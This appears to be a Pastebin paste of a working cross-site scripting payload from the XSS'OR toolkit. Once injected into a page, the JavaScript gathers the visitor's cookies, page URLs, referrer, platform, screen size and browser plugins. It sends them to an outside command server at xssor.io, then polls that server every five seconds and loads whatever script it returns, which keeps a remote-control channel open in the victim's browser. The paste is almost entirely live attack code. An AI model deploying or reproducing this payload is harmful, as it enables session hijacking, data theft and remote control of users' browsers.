Advertisement
Guest User

XSS'OR - JavaScript

a guest
Jun 7th, 2017
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*xssor.io*/
  2. xssor = {};
  3. xssor.cmd_url = '//xssor.io/cmd';
  4. xssor.gone = 0;
  5. xssor.done = 0;
  6.  
  7. xssor.json2kvstr = function (o) {
  8.     var x = "";
  9.     for (var i in o) {
  10.         x += i + '=' + escape(o[i]) + '&';
  11.     }
  12.     return x.substring(0, x.length - 1);
  13. };
  14. xssor.injscript = function (a, b) {
  15.     var o = document.createElement("script");
  16.     o.type = "text/javascript";
  17.     o.src = a;
  18.     if (b) {
  19.         if (!window.ActiveXObject) {
  20.             o.onload = b;
  21.         } else {
  22.             o.onreadystatechange = function () {
  23.                 if (o.readyState == 'loaded' || o.readyState == 'complete') {
  24.                     b();
  25.                 }
  26.             };
  27.         }
  28.     }
  29.     document.getElementsByTagName("body")[0].appendChild(o);
  30.     return o;
  31. };
  32.  
  33. xssor.info = {};
  34. xssor.info.pid = 'uvurjss';
  35. xssor.info.referrer = document.referrer;
  36. xssor.info.location = window.location.href;
  37. xssor.info.toplocation = top.location.href;
  38. xssor.info.cookie = document.cookie;
  39. xssor.info.domain = document.domain;
  40. xssor.info.title = document.title;
  41. xssor.info.charset = document.characterSet ? document.characterSet : document.charset;
  42. xssor.info.platform = navigator.platform;
  43. xssor.info.screen = function () {
  44.     var c = "";
  45.     if (self.screen) {
  46.         c = screen.width + "x" + screen.height;
  47.     }
  48.     return c;
  49. }();
  50. xssor.info.plugins = '';
  51. if (window.ActiveXObject) {
  52.     xssor.info.lang = navigator.systemLanguage;
  53.     var __c = null;
  54.     try {
  55.         __c = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
  56.     } catch (e) {}
  57.     if (__c) {
  58.         xssor.info.plugins = 'Shockwave Flash ' + __c.GetVariable('$version');
  59.     }
  60. } else {
  61.     xssor.info.lang = navigator.language;
  62.     if (navigator.plugins && navigator.plugins.length > 0) {
  63.         for (var i = 0; i < navigator.plugins.length; i++) {
  64.             xssor.info.plugins += navigator.plugins[i].name + ',' + navigator.plugins[i].description + '|';
  65.         }
  66.     }
  67. }
  68.  
  69. xssor.tunnel = function () {
  70.     if (xssor.done == 0) {
  71.         var a = xssor.injscript(xssor.cmd_url + '?' + xssor.i + '&date=' + new Date().getTime());
  72.     }
  73.     if (xssor.done == 1) {
  74.         var a = xssor.injscript(xssor.cmd_url + '?' + 'pid=' + xssor.info.pid + '&date=' + new Date().getTime());
  75.         setTimeout(function () {
  76.             document.body.removeChild(a);
  77.         }, 500);
  78.     }
  79. };
  80.  
  81. function go() {
  82.     if(xssor.gone) return;
  83.     xssor.gone = 1;
  84.     xssor.i = xssor.json2kvstr(xssor.info);
  85.     xssor.tunnel();
  86.     setInterval(function () {
  87.         xssor.tunnel();
  88.     }, 5000);
  89. }
  90. window.onload = function () {
  91.     setTimeout("go()", 1 * 1000);
  92. };setTimeout("go()", 5 * 1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement